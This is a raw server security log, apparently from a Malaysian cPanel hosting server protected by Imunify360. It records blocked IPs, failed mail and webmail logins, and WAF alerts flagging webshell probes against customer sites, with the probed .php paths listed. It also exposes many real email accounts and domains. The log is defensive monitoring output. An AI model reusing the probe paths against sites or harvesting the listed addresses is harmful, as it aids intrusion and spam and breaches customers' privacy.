IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/residential/img/csr.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.172.32
country_id: 3469034
description:
Jan 13 07:57:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.172.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 07:59:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58899: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 07:59:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58900: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/images/images/index.php||SC:/home/indfinitydesign/public_html/images/images||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 67.227.120.105
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-01.67.227.120.105||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.196
country_id: 3469034
description:
Jan 13 08:02:57 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.196
country_id: 3469034
description:
Jan 13 08:03:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.253
country_id: 3469034
description:
Jan 13 08:03:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.253 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-13 08:03:51 +0800] info [webmaild] 115.134.149.232 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.124.225.159
country_id: 2017370
description:
Jan 13 08:06:42 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.124.225.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.124.225.159
country_id: 2017370
description:
2026-01-13 08:06:44 dovecot_login authenticator failed for H=(host-94.124.225.159.gascom.net.ru) [94.124.225.159]:37250: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.23.95.14
country_id: 1814991
description:
2026-01-13 08:08:11 dovecot_login authenticator failed for H=([218.23.95.14]) [218.23.95.14]:47748: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.23.95.14
country_id: 1814991
description:
Jan 13 08:08:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.23.95.14 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.139.174.61
country_id: 1733045
description:
[2026-01-13 08:09:56 +0800] info [webmaild] 175.139.174.61 - account@pftfood.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 59.6.75.186
country_id: 1835841
description:
Jan 13 08:11:20 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 59.6.75.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.75.186
country_id: 1835841
description:
2026-01-13 08:11:22 dovecot_login authenticator failed for H=([59.6.75.186]) [59.6.75.186]:50450: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.58.65.151
country_id: 1269750
description:
Jan 13 08:15:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.58.65.151 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.162.239
country_id: 6252001
description:
[2026-01-13 08:16:50 +0800] info [webmaild] 209.50.162.239 - itdept@ajplantations.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.35.148
country_id: 3865483
description:
Jan 13 08:17:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.35.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.168.119.2
country_id: 1814991
description:
Jan 13 08:18:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.168.119.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.168.119.2
country_id: 1814991
description:
2026-01-13 08:18:04 dovecot_login authenticator failed for H=([180.168.119.2]) [180.168.119.2]:46889: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - astlbu@astlog.com.my [01/13/2026:00:18:37 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: astlbu@astlog.com.my


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.227.35.148
country_id: 3865483
description:
Jan 13 08:18:08 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.227.35.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.1.217.33
country_id: 3865483
description:
Jan 13 08:18:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.1.217.33 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.148.0.202
country_id: 6252001
description:
Jan 13 08:19:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.148.0.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.148.0.202
country_id: 6252001
description:
2026-01-13 08:19:12 dovecot_login authenticator failed for H=syn-131-148-000-202.biz.spectrum.com [131.148.0.202]:60791: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.74.131
country_id: 1733045
description:
[2026-01-13 08:19:32 +0800] info [webmaild] 183.171.74.131 - payment@tujusetia.my "GET /cpsess2010687009/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [183.171.100.201] != Current IP Address [183.171.74.131]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.9.35
country_id: 1269750
description:
Jan 13 08:20:23 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.9.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-sinaran-utama-teknologi/images/sliders/products.php||SC:/home/sutsbcom/public_html/about-sinaran-utama-teknologi||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - boss@astlog.com.my [01/13/2026:00:23:14 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: boss@astlog.com.my


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.134.149.232
country_id: 1733045
description:
[2026-01-13 08:23:21 +0800] info [webmaild] 115.134.149.232 - general@smartcable.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.111.0
country_id: 1733045
description:
[2026-01-13 08:23:32 +0800] info [webmaild] 113.211.111.0 - s-osada@mckd.com.my "GET /cpsess5747441808/3rdparty/roundcube/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D1%2Cwebp%3D1%2Cpgpmime%3D0&_uid=38115&_mbox=INBOX&_framed=1&_action=preview HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.251.41
country_id: 99237
description:
Jan 13 08:24:43 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.251.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/osl.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 08:27:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58930: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 08:27:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 08:27:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58931: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 08:29:10 H=([45.144.212.242]) [45.144.212.242]:53012 F=<no_reply@admin.com> rejected RCPT <inquiries@ktlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.0.248.71
country_id: 3469034
description:
Jan 13 08:30:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.0.248.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.181.28.162
country_id: 3469034
description:
Jan 13 08:31:01 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.181.28.162 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 219.95.228.51
country_id: 1733045
description:
[2026-01-13 08:35:37 +0800] info [webmaild] 219.95.228.51 - support@u-net.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.53.110.66
country_id: 1733045
description:
[2026-01-13 08:38:00 +0800] info [webmaild] 60.53.110.66 - info@sutsb.com.my "GET /cpsess7988926389/3rdparty/roundcube/?_task=logout&_token=dkzr09TQxF8Sbgk70NEuFCoVO50fjOlx HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 08:41:51 H=([45.144.212.242]) [45.144.212.242]:65408 F=<no_reply@admin.com> rejected RCPT <julie@nobledec.com>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.135.60.12
country_id: 2017370
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/comparator/src/SplObjectStorageComparator.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-13 08:44:08 H=([45.144.212.242]) [45.144.212.242]:50960 F=<no_reply@admin.com> rejected RCPT <info@oxbold.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.217
country_id: 3865483
description:
Jan 13 08:45:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.40
country_id: 3469034
description:
Jan 13 08:45:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.40
country_id: 3469034
description:
Jan 13 08:45:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.217
country_id: 3865483
description:
Jan 13 08:45:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.255.206.203
country_id: 3469034
description:
Jan 13 08:45:27 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.255.206.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.199.41
country_id: 3469034
description:
Jan 13 08:45:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.199.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.60.113
country_id: 1562822
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-content/themes/astra/assets/css/minified/compatibility/woocommerce/woocommerce-layout-grid.min.css?ver=4.12.0 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.76.136.146
country_id: 2510769
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-content/plugins/woocommerce-menu-bar-cart/assets/css/wpmenucart-main.min.css?ver=2.14.12 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.18.102
country_id: 1562822
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-content/themes/astra/assets/css/minified/compatibility/contact-form-7-main.min.css?ver=4.12.0 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.94.121.124
country_id: 3608932
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-includes/css/dist/block-library/style.min.css?ver=6.9 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.124.74
country_id: 1562822
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.12.0 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 08:50:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.117.10
country_id: 226074
description:
Jan 13 08:52:47 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.117.10 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.133.158.225
country_id: 1733045
description:
[2026-01-13 08:53:06 +0800] info [webmaild] 115.133.158.225 - cle@ajplantations.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.251.180.84
country_id: 3469034
description:
Jan 13 08:53:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.251.180.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.192.179.175
country_id: 798544
description:
Jan 13 08:53:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.192.179.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.64.30.151
country_id: 1643084
description:
Jan 13 08:54:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.64.30.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 08:54:35 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:54:50 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61853: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 08:55:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58992: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.64.30.151
country_id: 1643084
description:
Jan 13 08:54:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.64.30.151 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 08:55:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58993: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:56:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61865: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.25.194.30
country_id: 3439705
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=414001 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:56:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61866: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:58:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61888: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/about.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.251.102.19
country_id: 241170
description:
Jan 13 08:58:51 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.251.102.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 08:58:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61888: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.121.77.66
country_id: 732800
description:
Jan 13 08:59:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.121.77.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.30
country_id: 732800
description:
Jan 13 08:59:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-01-13 09:00:28 H=(localhost.localdomain) [78.153.140.207]:50726 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.213.154
country_id: 933860
description:
Jan 13 09:00:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.213.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.84
country_id: 953987
description:
Jan 13 09:01:03 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.84
country_id: 953987
description:
Jan 13 09:01:13 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.109.115
country_id: 798544
description:
Jan 13 09:01:15 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.109.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:02:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61917: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.90
country_id: 3057568
description:
Jan 13 09:01:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.238.166.181
country_id: 798544
description:
Jan 13 09:01:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.238.166.181 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.231
country_id: 3865483
description:
Jan 13 09:01:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.97.22
country_id: 3469034
description:
Jan 13 09:01:53 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.97.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.249.214.215
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/event-dispatcher/ImmutableEventDispatcher.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.82.211.153
country_id: 2245662
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/land/15/129/1563511 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 09:02:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61917: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.0.148.223
country_id: 1269750
description:
Jan 13 09:05:03 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.0.148.223 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.183.184.99
country_id: 2510769
description:
Jan 13 09:04:24 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.183.184.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.0.148.223
country_id: 1269750
description:
Jan 13 09:05:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.0.148.223 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/transportation-radioactive-materials/images/sliders/cdn-cgi/l/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/sliders/images/sliders/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/wp-content/languages||


